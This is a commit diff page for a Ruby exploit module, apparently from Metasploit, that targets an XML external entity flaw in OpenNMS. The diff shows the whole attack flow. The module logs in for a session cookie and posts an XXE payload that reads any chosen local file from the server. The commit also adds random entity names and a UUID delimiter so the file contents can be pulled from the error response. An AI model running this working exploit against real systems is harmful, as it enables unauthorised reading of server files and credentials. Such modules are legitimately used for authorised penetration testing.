Skip to content

Commit 0490af8

Browse files
committed
Added error checks, randomness, and uuid delimeter
1 parent f3fc400 commit 0490af8

File tree

1 file changed

+24
-8
lines changed

1 file changed

+24
-8
lines changed

modules/exploits/linux/http/opennms_xxe.rb

Lines changed: 24 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -50,6 +50,7 @@ def initialize(info = {})
5050
def run
5151

5252
print_status("Logging in to grab a valid session cookie")
53+
5354
res = send_request_cgi({
5455
'method' => 'POST',
5556
'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'),
@@ -60,6 +61,12 @@ def run
6061
},
6162
})
6263

64+
if res.nil?
65+
fail_with("No response from POST request")
66+
elsif res.code != 302
67+
fail_with("Non-302 response from POST request")
68+
end
69+
6370
unless res.headers["Location"].include? "index.jsp"
6471
fail_with(Failure::Unknown, 'Authentication failed')
6572
end
@@ -68,7 +75,16 @@ def run
6875

6976
print_status("Got cookie, going for the goods")
7077

71-
xxe = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file://'+datastore["FILEPATH"]+'" >]><foo>&xxe;</foo>'
78+
rand_doctype= Rex::Text.rand_text_alpha(rand(1..10))
79+
rand_entity1 = Rex::Text.rand_text_alpha(rand(1..10))
80+
rand_entity2 = Rex::Text.rand_text_alpha(rand(1..10))
81+
delimiter = SecureRandom.uuid
82+
83+
xxe = %Q^<?xml version="1.0" encoding="ISO-8859-1"?>
84+
<!DOCTYPE #{rand_doctype} [
85+
<!ELEMENT #{rand_entity1} ANY >
86+
<!ENTITY #{rand_entity2} SYSTEM "file://#{datastore["FILEPATH"]}" >
87+
]><#{rand_entity1}>#{delimiter}&#{rand_entity2};#{delimiter}</#{rand_entity1}>^
7288

7389
res = send_request_raw({
7490
'method' => 'POST',
@@ -77,15 +93,15 @@ def run
7793
'cookie' => cookie
7894
})
7995

80-
# extract filepath data from response and remove preceding errors
96+
# extract filepath data from response
8197

82-
if res.body =~ /<title.*\/?>(.+)<\/title\/?>/m
83-
title = $1
98+
if res and res.code == 400 and res.message =~ /#{delimiter}(.+)#{delimiter}/
99+
result = $1
100+
print_good("#{result}")
101+
else
102+
fail_with(Failure::Unknown, 'Error fetching file, try another')
84103
end
85104

86-
result = title.match(/"(.*)/m)
87-
88-
print_good("#{result}")
89-
90105
end
91106
end
107+

0 commit comments

Comments
 (0)